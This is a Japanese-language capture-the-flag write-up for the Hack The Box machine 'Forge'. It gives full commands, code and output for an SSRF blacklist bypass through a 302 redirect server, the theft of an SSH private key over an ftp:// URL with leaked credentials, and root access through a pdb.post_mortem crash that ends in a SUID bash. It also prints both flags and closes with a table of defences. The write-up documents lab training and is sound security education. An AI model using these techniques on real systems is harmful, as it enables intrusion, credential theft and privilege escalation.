Hack The BoxのWriteup(Forge)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Forge — 全実行コマンド・実行結果レポート
Nmap スキャン
21(filtered)/22/80
→
SSRF (/upload)
自前サーバ経由302リダイレクトでblacklist回避
→
admin.forge.htb/announcements
内部FTP認証情報リーク
→
ftp:// ラッパー再利用
SSH秘密鍵を平文取得
→
SSH ログイン
user.txt ✓
→
sudo remote-manage.py
int()変換失敗でpdb.post_mortem()起動
→
root PDBセッション → root.txt ✓

Nmapバージョン・スクリプトスキャン

BASH
nmap -p 21,22,80 -sCV 10.129.67.195
RESULT
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://forge.htb
💡
ポート80はforge.htbというvhostへリダイレクトする。 FTPがfiltered(応答なし、拒否パケットも返らない)であることから、 ファイアウォールがこのポートへの外部アクセスをブロックしている一方、 サービス自体は稼働している可能性が高い。/etc/hostsに forge.htbを追記して調査を続ける。

追加vhostの発見

BASH
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u http://forge.htb/ -H 'Host: FUZZ.forge.htb' -fw 18
RESULT
admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]
✅
admin.forge.htbという追加vhostを発見。/etc/hostsへ追記する。
PHASE 2

画像アップロードSSRFによるadmin.forge.htbのblacklist回避

admin.forge.htb は localhost限定でブロックされる

BASH
curl -s http://admin.forge.htb/ -H "Host: admin.forge.htb"
RESULT
Only localhost is allowed!
💡
ApacheのRequire ip 127.0.0.1相当の設定でアクセス元IPを制限している。 Kaliから直接アクセスしても拒否される。

/upload エンドポイントのSSRFブラックリストを確認

BASH
curl -s -X POST http://forge.htb/upload -d "url=http://admin.forge.htb/&remote=1"
RESULT
    <h1>
        <center>
            <strong>URL contains a blacklisted address!</strong>
        </center>
    </h1>
🚨
/uploadはギャラリー画像をリモートURLから取得できるが、 admin.forge.htbを含むURLは文字列ベースのブラックリストで直接拒否される。

自前サーバ経由の302リダイレクトでブラックリストを回避

PYTHON
# 任意のURLへ302リダイレクトするだけの簡易サーバ
import http.server

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://admin.forge.htb/announcements")
        self.end_headers()

http.server.HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
BASH
# 自前サーバ(Kali)のURLをupload先として指定
curl -s -X POST http://forge.htb/upload -d "url=http://10.10.15.200:8888/&remote=1"
RESULT
    <h1>
        <center>
            <strong>File uploaded successfully to the following url:</strong>
        </center>
    </h1>
    <h1>
        <center>
            <strong><a href="http://forge.htb/uploads/2xGs3HMS2TKEnC1wCxO5">http://forge.htb/uploads/2xGs3HMS2TKEnC1wCxO5</a></strong>
        </center>
    </h1>
✅
ブラックリスト回避成功! 初回指定URL(http://10.10.15.200:8888/)には admin.forge.htbという文字列が含まれないためブラックリスト検査を通過する。 サーバ側のフェッチャーはこのURLへリクエストし、302のLocationヘッダに 従って最終的にadmin.forge.htbへアクセスするが、 この最終的な接続先までは検証されていない。
PHASE 3

内部FTP認証情報リーク → SSH秘密鍵窃取

announcementsページから内部FTP認証情報を取得

BASH
curl -s http://forge.htb/uploads/2xGs3HMS2TKEnC1wCxO5
RESULT
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
🚨
認証情報漏洩: 内部FTPサーバの認証情報 user:heightofsecurity123! が平文で記載されている。またadmin.forge.htb自身の/uploadは ?u=<url>形式のGETリクエストでもURL取得を受け付けるという 重要なヒントも得られる。

SSRFを再利用し ftp:// ラッパーでSSH秘密鍵を窃取

NOTE
同じSSRF機構をもう一度使う。今度はリダイレクト先を
「admin.forge.htb自身のupload機能」を呼び出すURLに変更する:

  http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/id_rsa

これにより、forge.htbのフェッチャー → (302) → admin.forge.htb/upload?u=ftp://...
→ admin側のフェッチャーがFTP経由で127.0.0.1(=ターゲット自身)の
.ssh/id_rsaを取得、という2段階のSSRFチェーンが成立する。
ftpサーバはユーザーのホームディレクトリで起動していると推測。
PYTHON
# リダイレクト先を変更して再度アップロードをトリガー
# (redirect_serverのLocationヘッダを書き換えて再起動)
Location: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/id_rsa
BASH
curl -s -X POST http://forge.htb/upload -d "url=http://10.10.15.200:8888/&remote=1"
curl -s http://forge.htb/uploads/aluYqrMqISzoGhRVlMVX
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
SSH秘密鍵の窃取に成功! ユーザーuserのホームディレクトリにある .ssh/id_rsaをそのままFTP経由で読み取れた。
PHASE 4

SSH ログイン & user.txt 取得

秘密鍵でSSHログイン

BASH
curl -s http://forge.htb/uploads/aluYqrMqISzoGhRVlMVX > id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@forge.htb "cat user.txt"
RESULT
c07d51252cb9d3f98f8f82d502d21b80
user.txt — user@forge
c07d51252cb9d3f98f8f82d502d21b80
PHASE 5

sudo権限調査 — remote-manage.py の脆弱性解析

sudo -l でNOPASSWD実行可能なスクリプトを確認

BASH
user@forge:~$ sudo -l
RESULT
User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

remote-manage.py のソースコード解析

BASH
user@forge:~$ cat /opt/remote-manage.py
RESULT (抜粋)
port = random.randint(1025, 65535)
try:
    sock = socket.socket(...)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            ...
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()
🚨
設計不備発見: メニュー選択をint()で変換する際、 非数値を送るとValueErrorが発生する。この例外は except Exceptionでキャッチされ、pdb.post_mortem()で Pythonデバッガ(PDB)セッションが起動してしまう。スクリプトはroot権限で 実行されているため、PDBセッション内で任意のPythonコードを実行できれば root権限のコード実行に直結する。
PHASE 6

2本のSSHセッションでPDBクラッシュを誘発 → root.txt

「本体」セッション: スクリプトをsudo実行しポート番号を把握

NOTE
重要な実装上の要点: pdb.post_mortem()が開くPDBセッションは、
ソケットのクライアント側にではなく、「sudo python3 remote-manage.py」
を実行したその端末自身の標準入出力に現れる。

そのため権限昇格には2本のSSH接続が必要になる:
  (1) 本体セッション: スクリプトをsudo実行し続ける(PDBが出現する場所)
  (2) トリガーセッション: 別のSSH接続からソケットへ接続し、
      パスワード認証後に非数値を送ってクラッシュを誘発する
BASH
# SSHセッション1 (本体)
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
RESULT
Listening on localhost:28431

「トリガー」セッション: 別のSSH接続からクラッシュを誘発

NOTE
TCPストリームのメッセージ境界問題に注意: nc+printfで改行区切りの
複数行を一度にパイプすると、サーバー側の1回目のrecv()が両方の行を
まとめて受信してしまいパスワードが一致しなくなる。
send() → sleep(0.5) → send() という順序で個別に送信する必要がある。
PYTHON
# SSHセッション2 (トリガー、別接続)
import socket, time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 28431))
s.recv(1024)
s.sendall(b'secretadminpassword\n')
time.sleep(0.5)
s.recv(4096)
s.sendall(b'a\n')          # int()変換に失敗する非数値
time.sleep(0.5)

本体セッションにPDBセッションが出現

RESULT (本体セッション側の画面)
Listening on localhost:28431
invalid literal for int() with base 10: b'a'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
✅
root権限のPDBセッションに到達! ここでPythonの任意コードを インタラクティブに実行できる。

os.system() でコマンド実行 → root.txt 取得

BASH
(Pdb) import os
(Pdb) os.system('chmod +s /bin/bash')
(Pdb) os.system('cat /root/root.txt')
RESULT
5f80794d04b632fe6ccb471e6fe1499c
0
root.txt — root@forge
5f80794d04b632fe6ccb471e6fe1499c
💡
chmod +s /bin/bashでSUID bashを設置しておけば、PDBセッションを 抜けた後もbash -pでいつでもroot権限のシェルへ入れる。 今回はos.system()で直接root.txtをcatするだけでも十分。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — user@forge
c07d51252cb9d3f98f8f82d502d21b80
root.txt — root@forge
5f80794d04b632fe6ccb471e6fe1499c

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SSRF (blacklist bypass) /upload エンドポイント localhost限定vhostへのアクセス制御突破 Critical 自前サーバの302リダイレクトを経由し、初回URL文字列のみ検査する ブラックリストを回避してadmin.forge.htbへアクセス
平文認証情報の記録 admin.forge.htb/announcements 内部FTPサーバへの認証 High SSRF経由で取得したページに平文パスワードが記載
SSRF (ftp:// wrapperの悪用) admin.forge.htb/upload の url取得機能 SSH秘密鍵の窃取 (user.txt取得) Critical FTP認証情報を使い ftp://user:pass@127.0.0.1/.ssh/id_rsa を SSRF経由で取得
pdb.post_mortem() の権限昇格 /opt/remote-manage.py (sudo NOPASSWD) 権限昇格 (root) Critical int()変換失敗の例外をpdb.post_mortem()がキャッチし root権限のインタラクティブPythonデバッガを起動してしまう

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + ffuf vhost fuzzingforge.htb / admin.forge.htb を特定
2SSRF回避自前サーバの302リダイレクトadmin.forge.htbのblacklistを回避
3認証情報リークannouncements + ftp://ラッパー再利用SSH秘密鍵 (user) 取得
4初期アクセスSSH鍵認証user.txt 取得
5権限調査sudo -l + ソースコード解析pdb.post_mortem()の設計不備発見
6権限昇格2本のSSH接続でPDBクラッシュ誘発root.txt 取得

学んだ教訓 & 防御策

問題点防御策
SSRFブラックリストが初回指定URLの文字列のみを検査し、リダイレクト後の 最終接続先を検証していない URL取得機能はリダイレクトを追従させない、または追従後の最終URLも 同じブラックリスト/ホワイトリストで再検証する。可能であれば 内部ネットワークへのアクセス自体をネットワークレベルで遮断する。
内部サービスの認証情報がアナウンスページに平文で記載されている 認証情報は環境変数やシークレット管理システムで扱い、 アプリケーションのコンテンツに直接記載しない。
SSH秘密鍵がFTP経由で誰でも読み取れる権限で配置されている 秘密鍵のパーミッションを適切に設定し、FTPのようなアクセス制御の弱い サービスの公開範囲をホームディレクトリ全体に及ぼさないようにする。
root権限で実行されるスクリプトの例外処理がpdb.post_mortem()を 呼び出しており、未処理の例外が直接インタラクティブなコード実行に繋がる 本番運用スクリプトからデバッグ用のpdbインポート・呼び出しを完全に排除する。 例外処理は最小権限で行い、詳細なトレースバックや対話シェルを 本番環境で露出させない。
HackTheBox: Forge | 完全攻略レポート